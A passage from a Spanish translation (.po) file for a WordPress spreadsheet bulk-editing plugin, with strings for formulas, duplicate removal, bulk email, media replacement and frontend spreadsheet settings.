aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: 